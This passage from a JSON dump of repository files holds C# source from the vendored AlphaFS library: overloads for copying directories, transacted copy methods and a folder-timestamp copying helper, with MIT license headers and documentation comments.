///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            PathFormat = pathFormat\n         });\n      }\n      \n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n      \n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n      \n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies a directory and its contents to a new location, <see cref=\"CopyOptions\"/> can be specified,\n      /// and the possibility of notifying the application of its progress through a callback function.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Option <see cref=\"CopyOptions.NoBuffering\"/> is recommended for very large file transfers.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"copyOptions\"><see cref=\"CopyOptions\"/> that specify how the directory is to be copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static CopyMoveResult Copy(string sourcePath, string destinationPath, CopyOptions copyOptions, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = copyOptions,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.CopyFolderTimestamps.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      private static void CopyFolderTimestamps(CopyMoveArguments cma)\n      {\n         // TODO 2018-01-09: Not 100% yet with local + UNC paths.\n         var dstLp = cma.SourcePathLp.ReplaceIgnoreCase(cma.SourcePathLp, cma.DestinationPathLp);\n\n\n         // Traverse the source folder, processing only folders.\n\n         foreach (var fseiSource in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(true, cma.Transaction, cma.SourcePathLp, Path.WildcardStarMatchAll, null, null, cma.DirectoryEnumerationFilters, PathFormat.LongFullPath))\n\n            File.CopyTimestampsCore(cma.Transaction, true, fseiSource.LongFullPath, Path.CombineCore(false, dstLp, fseiSource.FileName), false, PathFormat.LongFullPath);\n\n         \n         // Process the root directory, the given path.\n\n         File.CopyTimestampsCore(cma.Transaction, true, cma.SourcePathLp, cma.DestinationPathLp, false, PathFormat.LongFullPath);\n\n\n         // TODO: When enabled on Computer, FindFirstFile will change the last accessed time.\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.CopyTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            PathFormat = pathFormat\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData)\n      {\n         return CopyMoveCore(new CopyMoveArguments\n         {\n            Transaction = transaction,\n            SourcePath = sourcePath,\n            DestinationPath = destinationPath,\n            CopyOptions = overwrite ? CopyOptions.None : CopyOptions.FailIfExists,\n            DirectoryEnumerationFilters = filters,\n            ProgressHandler = progressHandler,\n            UserProgressData = userProgressData,\n         });\n      }\n\n\n      /// <summary>[AlphaFS] Copies an existing directory to a new directory. Overwriting a directory of the same name is allowed.</summary>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Copy action.</returns>\n      /// <remarks>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"sourcePath\">The source directory path.</param>\n      /// <param name=\"destinationPath\">The destination directory path.</param>\n      /// <param name=\"overwrite\"><c>true</c> if the destination directory should ignoring the read-only and hidden attributes and overwrite; otherwise, <c>false</c>.</param>      \n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been copied. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"To disable/enable overwrite, use other overload and use CopyOptions.None enum flag or remove CopyOptions.FailIfExists enum flag.\")]\n      [SecurityCritical]\n      public static CopyMoveResult CopyTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, bool overwrite, DirectoryEnumerationFilters filters, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      